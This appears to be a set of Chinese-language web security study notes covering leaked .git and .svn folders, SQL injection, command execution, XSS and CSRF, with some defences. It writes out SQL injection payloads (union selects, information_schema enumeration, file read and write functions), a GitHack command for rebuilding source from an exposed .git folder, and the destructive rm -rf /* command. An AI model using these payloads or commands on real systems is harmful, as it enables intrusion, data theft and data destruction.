#1、文件暴露
-
GIT
git可以说是当今最受欢迎的版本控制/版本管理软件了,很多基于git的云端仓库都提供了免费的托管服务,甚全有不少还支持免费私有仓库,如bitbucket和国内的gitosc(开源中国)等。
关键文件
git在初始化项目的时候,会在项目的根目录(可用git rev-parse --show-toplevel查看)创建一个名为.git的隐藏文件夹,里面包含了本地所有commit的历史记录.如果无意官将这个日录置于WEB的路径下让用户可以访问,那么也就泄露了几乎所有的源代码和其他其他敏感信息.
泄露内容:
-
所有该项目的源代码
-
私有仓库的地址
-
私密的配置信息
-
所有commiter的邮箱帐号信息
-
(可能)内部的帐号和密码
GitHacker
GitHacker是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。
使用方法:
GitHack.py http://XXXXXXXXXXX/.git/ #通过cmd输入类似这样的命令
参考博文:
https://blog.csdn.net/u012486730/article/details/82019513
-
-
SVN
svn,即Subversion,在github之前曾经也是炙手可热的版本管理工具,虽然已经日渐式微,但在很多国企研究院等地方依然是作为版本管理的主要工具.对于一些历史悠久的项目,比如LLVM,出于历史原因,也是主要使用svn管理源代码.
关键文件
svn同样在项目根目录下会创建一个名为.svn的隐藏文件夹,包含了所有分支commit信息和代码记录.
泄露内容
-
所有该项目的源代码
-
svn仓库的地址
-
svn仓库所属用户的用户名
工具下载:可以去ctfhub的工具区直接搜svn
-
-
.DS_STORE
.DS_Store(Desktop Services Store)是macOs目录下的隐藏文件,包含了当前目录结构和一些的自定义信息,如背景和图标位置等, 在windows下类似的文件为desktop.ini. 暴露了.DS_Store文件也就相当于暴露了该目录下的所有内容.
#2、SQL注入
分类
-
一.根据注入的方式来分类:
1.get注入2.post注入3.cookie注入
-
二.注入方式来分类
1.有回显的注入⒉盲注 3.二次注入4.报错注入5.堆叠注入6.宽字节注入
MySQL注释符:(注释符往后的内容是不执行的)
1、井号 ‘ # ’
2、双横杠 ‘ -- ’
我觉得SQL注入还是利用代码本身的逻辑让它无法正常执行原来的功能,从而实现恶意注入
#比如这行代码,user_id后面的单引号里面是上传的内容,那么这个时候,如果我们输入 “ 1'or1=1# ”,那么1后面的那个单引号会和代码本来就有的左边的单引号构成闭合,而后面的井号可以把后面的代码注释掉,所以也不会报错,这样就完成了注入(注意:把井号变成双横杠也可以,但是双横杠后面要加一个空格) query = "SELECT first_name, last_name FROM users WHERE user_id = ''";";
再比如:
输入 1' union select database(),version(),user() # 可以获取数据库的名称、版本、当前连接数据库的用户(如果是root用户,后面就可以进行提权了) 1' union select @@version_compile_os,@@datadir # 可以提取操作系统和数据库的存储路径 1' union select 1,schema name from information schema.schemata # 提取数据库里数据表的名称
mysql常用注入函数
-
系统函数
version() MySQL 版本 user() 数据库用户名 database() 数据库名 @@datadir 数据库路径 @@version_compile_os 操作系统版本 system_user() 系统用户名 current_user() 当前用户名 session_user() 连接数据库的用户名 database() 数据库名 @@datadir 数据库路径 @@basedir 数据库安装路径 @@version_compile_os 操作系统 count() 返回执行结果数量 select count(*) from users; concat() 没有分隔符的连接字符串 select concat(username,password) from users; concat_ws() 含有分隔符的连接字符串 select concat_ws(':',username,password) from users; group_concat() 一行显示出来 连接一个组的所有字符串,并以逗号分隔每一条数据 load_file() 读取本地文件 select load_file('D:\\YY\\test.txt'); windows \\ linux / into outfile 写文件 select 'MySQL' into outfile 'D:\\YY\\test2.txt'; #前提 show global variables like "secure" 查看secure_file_priv 是否没有值 没有值才可以读写文件 ascii() 字符串ascii代码值 select ascii('a'); 97 ord() 返回字符串第一个字符的ascii值 select ord('bc'); 98 mid('字符串内容',起始位置,长度) 返回字符串的一部分 select mid('test',2,3); est substr('字符串内容',起始位置,长度) 返回字符串的一部分 与mid() 功能基本一致 length('字符串内容') 返回字符串的长度 select length('test'); left('字符串内容',几个字符) 返回字符串的最左侧几个字符 floor(数) 返回小于或等于x的最大整数 select floor(5.9); 5 rand() 返回0和1之间的随机数 select rand(); 0-1之间随机生成 extractvalue(xml文档对象名称,XPath格式的字符串) 从目标xml中,返回包含所查询值的字符串 updatexml(XML文档对象名称,XPath格式的字符串,new Value string格式用于替换) 改变文档中符合条件的节点的值 sleep() 让此语句运行N秒钟 if(条件,为真返回,为假返回) select if(1>2,2,3); >3 char() 返回整数ascii代码字符组成的字符串 selct char(a); > 97 strcmp() 比较字符串ascii值 select strcmp('a','b') 前者大于后者 1 等于0 小于 -1 ifnull() 假如参数1不为NULL,则返回值为1,否则返回值为参数2 select ifnull(1,2); 1 select ifnull(null,2); 2 exp() 返回e的x次方 select exp(1);
-
MySQL命令行模式 常用于自己管理数据库:
show databases;#所有数据库名 use security;#数据库名 show tables;#该数据库中所有表名 desc emails;#该表中所有字段的属性字段等
-
MySQL注入常用:
猜数据库 select schema_name from information_schema.schemata 猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’ 猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’ 获取某列的内容 Select xx_column from xx_table 列出所有的数据库 select group_concat(schema_name) from information_schema.schemata 列出某个库当中所有的表 select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'
-
系统数据库 information_schema:
Mysql 有一个系统数据库 information_schema,含有所有数据库的相关信息。 一般利用它可进行一次完整的注入。
use information_schema show tables; desc tables; select table_name from information_schema.tables where table_schema="security";
-
rm指令 rm -rf /* 是Linux的一条指令,/*代表根目录下所有路径,作用是删除根目录下所有文件,也就是删除系统中的所有文件
格式:rm 指令 路径
常用参数
-f 忽略不存在的文件,不提示 -i 交互式删除 -r 地柜删除 -v 显示详细的步骤
SQL注入的防范
-
永远不要信任用户的输入
校验:和服务器性能、用户体验有冲突,比如验证码
-
屏蔽、转义单引号、函数的方式
-
不采用SQL语句拼接的方式,二十使用PDO时间逻辑和参数值的分离
-
不要使用root账号作为连接数据库的用户,二十应该设置专用的账号,赋予特定的权限
-
用户的敏感数据一定要加密存储
#3、命令执行
定义:
命令执行漏洞,就是指用户通过浏览器或其他辅助程序提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
通俗地讲:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如php中的system.exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常的命令中,造成命令执行攻击。
原理:
由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system),eval(),exec()等函数是该漏洞攻击成功的最主要原因。
#3、XSS(跨站脚本攻击)
可以拿到cookie明文
XSS的防范:
-
输入:
识别输入的内容,用正则去匹配,如果是恶意脚本,要进行处理,比如变成'',比如在中间加一个 _
-
输出:
要用“ \ ”进行转义,尤其对于 < > ' ' %等,转义以后就成了字符,而不是代码结构
#3、CSRF(跨站请求伪造)
实际上就是第三方网站利用你浏览器保存的cookie实现不用登陆你的账号也可以实现某些操作(比如转账)的行为
并不能获得cookie明文,只是对cookie的利用
防御:
-
识别请求来自自己的网站还是第三方网站
referer
-
让自己的前端页面发出的请求和伪造的请求不一样